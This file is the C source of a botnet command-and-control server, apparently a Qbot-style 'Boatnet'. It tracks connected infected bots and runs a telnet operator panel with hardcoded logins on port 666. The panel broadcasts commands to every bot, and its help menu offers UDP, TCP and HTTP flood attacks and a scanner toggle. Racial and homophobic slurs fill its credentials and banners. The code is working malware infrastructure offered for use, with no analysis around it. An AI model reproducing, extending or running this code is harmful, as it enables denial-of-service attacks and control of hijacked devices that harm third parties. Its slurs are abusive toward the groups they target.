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- // Modified by
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <unistd.h>
- #include <time.h>
- #include <fcntl.h>
- #include <sys/epoll.h>
- #include <errno.h>
- #include <pthread.h>
- #include <signal.h>
- #define MY_MGM_ADMINP "Admin"
- #define MY_MGM_ADMINU "Admin"
- #define MY_MGM_MATENP "Faggot"
- #define MY_MGM_MATENU "Faggot"
- #define MY_MGM_USERP "User"
- #define MY_MGM_USERU "User"
- #define MY_MGM_GUESTP "Dicks"
- #define MY_MGM_GUESTU "Dicks"
- #define MY_MGM_PORT 666
- #define MAXFDS 1000000
- char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
- struct clientdata_t {
- uint32_t ip;
- char build[7];
- char connected;
- } clients[MAXFDS];
- struct telnetdata_t {
- int connected;
- } managements[MAXFDS];
- static volatile FILE *fileFD;
- static volatile int epollFD = 0;
- static volatile int listenFD = 0;
- static volatile int managesConnected = 0;
- int fdgets(unsigned char *buffer, int bufferSize, int fd)
- {
- int total = 0, got = 1;
- while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
- return got;
- }
- void trim(char *str)
- {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static int make_socket_non_blocking (int sfd)
- {
- int flags, s;
- flags = fcntl (sfd, F_GETFL, 0);
- if (flags == -1)
- {
- perror ("fcntl");
- return -1;
- }
- flags |= O_NONBLOCK;
- s = fcntl (sfd, F_SETFL, flags);
- if (s == -1)
- {
- perror ("fcntl");
- return -1;
- }
- return 0;
- }
- static int create_and_bind (char *port)
- {
- struct addrinfo hints;
- struct addrinfo *result, *rp;
- int s, sfd;
- memset (&hints, 0, sizeof (struct addrinfo));
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_flags = AI_PASSIVE;
- s = getaddrinfo (NULL, port, &hints, &result);
- if (s != 0)
- {
- fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
- return -1;
- }
- for (rp = result; rp != NULL; rp = rp->ai_next)
- {
- sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
- if (sfd == -1) continue;
- int yes = 1;
- if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
- s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
- if (s == 0)
- {
- break;
- }
- close (sfd);
- }
- if (rp == NULL)
- {
- fprintf (stderr, "Could not bind\n");
- return -1;
- }
- freeaddrinfo (result);
- return sfd;
- }
- void broadcast(char *msg, int us, char *username)
- {
- int sendMGM = 1;
- if(strcmp(msg, "PING") == 0) sendMGM = 0;
- char *wot = malloc(strlen(msg) + 10);
- memset(wot, 0, strlen(msg) + 10);
- strcpy(wot, msg);
- trim(wot);
- time_t rawtime;
- struct tm * timeinfo;
- time(&rawtime);
- timeinfo = localtime(&rawtime);
- char *timestamp = asctime(timeinfo);
- trim(timestamp);
- int i;
- for(i = 0; i < MAXFDS; i++)
- {
- if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
- if(sendMGM && managements[i].connected)
- {
- send(i, "\x1b[94m", 6, MSG_NOSIGNAL);
- send(i, username, strlen(username), MSG_NOSIGNAL);
- send(i, ":\x1b[91m ", 8, MSG_NOSIGNAL);
- }
- printf("sent to fd: %d\n", i);
- send(i, msg, strlen(msg), MSG_NOSIGNAL);
- if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[94m> \x1b[91m", 15, MSG_NOSIGNAL);
- else send(i, "\n", 1, MSG_NOSIGNAL);
- }
- free(wot);
- }
- void *epollEventLoop(void *useless)
- {
- struct epoll_event event;
- struct epoll_event *events;
- int s;
- events = calloc (MAXFDS, sizeof event);
- while (1)
- {
- int n, i;
- n = epoll_wait (epollFD, events, MAXFDS, -1);
- for (i = 0; i < n; i++)
- {
- if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
- {
- clients[events[i].data.fd].connected = 0;
- close(events[i].data.fd);
- continue;
- }
- else if (listenFD == events[i].data.fd)
- {
- while (1)
- {
- struct sockaddr in_addr;
- socklen_t in_len;
- int infd, ipIndex;
- in_len = sizeof in_addr;
- infd = accept (listenFD, &in_addr, &in_len);
- if (infd == -1)
- {
- if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
- else
- {
- perror ("accept");
- break;
- }
- }
- clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
- int dup = 0;
- for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
- {
- if(!clients[ipIndex].connected || ipIndex == infd) continue;
- if(clients[ipIndex].ip == clients[infd].ip)
- {
- dup = 1;
- break;
- }
- }
- if(dup)
- {
- printf("dup client\n"); //
- if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
- if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
- close(infd);
- continue;
- }
- s = make_socket_non_blocking (infd);
- if (s == -1) { close(infd); break; }
- event.data.fd = infd;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
- if (s == -1)
- {
- perror ("epoll_ctl");
- close(infd);
- break;
- }
- clients[infd].connected = 1;
- send(infd, "!* SCANNER ONLINE NIGGA\n", 14, MSG_NOSIGNAL);
- }
- continue;
- }
- else
- {
- int thefd = events[i].data.fd;
- struct clientdata_t *client = &(clients[thefd]);
- int done = 0;
- client->connected = 1;
- while (1)
- {
- ssize_t count;
- char buf[2048];
- memset(buf, 0, sizeof buf);
- while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
- {
- if(strstr(buf, "\n") == NULL) { done = 1; break; }
- trim(buf);
- if(strcmp(buf, "PING") == 0)
- {
- if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
- continue;
- }
- if(strcmp(buf, "PONG") == 0)
- {
- if(send(thefd, "PING\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
- continue;
- }
- printf("buf: \"%s\"\n", buf);
- }
- if (count == -1)
- {
- if (errno != EAGAIN)
- {
- done = 1;
- }
- break;
- }
- else if (count == 0)
- {
- done = 1;
- break;
- }
- }
- if (done)
- {
- client->connected = 0;
- close(thefd);
- }
- }
- }
- }
- }
- unsigned int clientsConnected()
- {
- int i = 0, total = 0;
- for(i = 0; i < MAXFDS; i++)
- {
- if(!clients[i].connected) continue;
- total++;
- }
- return total;
- }
- void *titleWriter(void *sock)
- {
- int thefd = (int)sock;
- char string[2048];
- while(1)
- {
- memset(string, 0, 2048);
- sprintf(string, "%c]0;Boats connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
- if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
- sleep(2);
- }
- }
- void *telnetWorker(void *sock)
- {
- int thefd = (int)sock;
- managesConnected++;
- pthread_t title;
- char buf[2048];
- char* nickstring;
- memset(buf, 0, sizeof buf);
- char username[80];
- char status=0;
- if(send(thefd, "\x1b[39mUsername:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- nickstring = ("%s", buf);
- if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
- if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
- memset(buf, 0, 2048);
- sprintf(username, MY_MGM_ADMINU);
- MY_USER_ADMIN=1;
- status=1;
- goto fak;
- }
- else if(strcmp(nickstring, MY_MGM_USERU) == 0){
- if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
- memset(buf, 0, 2048);
- sprintf(username, MY_MGM_USERU);
- MY_USER_USER=1;
- status=2;
- goto fak;
- }
- else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
- if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
- memset(buf, 0, 2048);
- sprintf(username, MY_MGM_MATENU);
- MY_USER_MATEN=1;
- status=3;
- goto fak;
- }
- else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
- if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
- if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
- trim(buf);
- if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
- memset(buf, 0, 2048);
- sprintf(username, MY_MGM_GUESTU);
- MY_USER_GUEST=1;
- status=4;
- goto fak;
- }
- else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
- if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
- goto end;
- }
- failed:
- if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
- goto end;
- fak:
- if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
- pthread_create(&title, NULL, &titleWriter, sock);
- if(send(thefd, "\033[H\033[J\x1b[94m*****************************************\r\n", 56, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "* \x1b[92mWelcome to the Boatnet niggas\x1b[94m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "* \x1b[92mRan by @LordSTX\x1b[94m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "*****************************************\r\n\r\n\x1b[94m> \x1b[92m", 58, MSG_NOSIGNAL) == -1) goto end;
- managements[thefd].connected = 1;
- while(fdgets(buf, sizeof buf, thefd) > 0)
- {
- trim(buf);
- if(strstr(buf, "!* LOLNOGTFO"))
- {
- printf("ATTEMPT TO KILL ALL BOTS BY %s\n", username);
- FILE *logFile;
- logFile = fopen("/tmp/.log", "a");
- fprintf(logFile, "ATTEMPT TO KILL ALL BOTS BY %s\n", username);
- fclose(logFile);
- goto end;
- }
- if(strstr(buf, "!* SH"))
- {
- printf("ATTEMPT TO SH BY %s\n", username);
- FILE *logFile;
- logFile = fopen("/tmp/.log", "a");
- fprintf(logFile, "ATTEMPT TO SH BY %s\n", username);
- fclose(logFile);
- goto end;
- }
- if(strncmp(buf, "HELP", 5) == 0){
- if(send(thefd, "!* UDP IP PORT TIME NMASK PSIZE PI\r\n", 36, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "!* TCP IP PORT TIME NMASK FLAGS PSIZE PI\r\n", 42, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "!* HTTP SITE SECONDS\r\n", 22, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "!* KILLATTK\r\n", 13, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "!* SCANNER ON | OFF\r\n", 21, MSG_NOSIGNAL) == -1) goto end;
- if(send(thefd, "CLEAR\r\n", 7, MSG_NOSIGNAL) == -1) goto end;
- memset(buf, 0, 2048);
- }
- if(strncmp(buf, "CLEAR", 5) == 0){
- goto fak;
- memset(buf, 0, 2048);
- }
- FILE *logFile;
- if(send(thefd, "\x1b[94m> \x1b[91m", 13, MSG_NOSIGNAL) == -1) goto end;
- if(strlen(buf) == 0) continue;
- logFile = fopen("/tmp/.log", "a");
- fprintf(logFile, "%s: %s\n", username, buf);
- fclose(logFile);
- broadcast(buf, thefd, username);
- memset(buf, 0, 2048);
- }
- end:
- managements[thefd].connected = 0;
- close(thefd);
- managesConnected--;
- }
- void *telnetListener(void *useless)
- {
- int sockfd, newsockfd;
- socklen_t clilen;
- struct sockaddr_in serv_addr, cli_addr;
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sockfd < 0) perror("ERROR opening socket");
- bzero((char *) &serv_addr, sizeof(serv_addr));
- serv_addr.sin_family = AF_INET;
- serv_addr.sin_addr.s_addr = INADDR_ANY;
- serv_addr.sin_port = htons(MY_MGM_PORT);
- if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
- listen(sockfd,5);
- clilen = sizeof(cli_addr);
- while(1)
- {
- newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
- if (newsockfd < 0) perror("ERROR on accept");
- pthread_t thread;
- pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
- }
- }
- int main (int argc, char *argv[])
- {
- signal(SIGPIPE, SIG_IGN);
- int s, threads;
- struct epoll_event event;
- if (argc != 3)
- {
- fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
- exit (EXIT_FAILURE);
- }
- threads = atoi(argv[2]);
- listenFD = create_and_bind (argv[1]);
- if (listenFD == -1) abort ();
- s = make_socket_non_blocking (listenFD);
- if (s == -1) abort ();
- s = listen (listenFD, SOMAXCONN);
- if (s == -1)
- {
- perror ("listen");
- abort ();
- }
- epollFD = epoll_create1 (0);
- if (epollFD == -1)
- {
- perror ("epoll_create");
- abort ();
- }
- event.data.fd = listenFD;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
- if (s == -1)
- {
- perror ("epoll_ctl");
- abort ();
- }
- pthread_t thread[threads + 2];
- while(threads--)
- {
- pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
- }
- pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
- while(1)
- {
- broadcast("PING", -1, "b0ats");
- sleep(60);
- }
- close (listenFD);
- return EXIT_SUCCESS;
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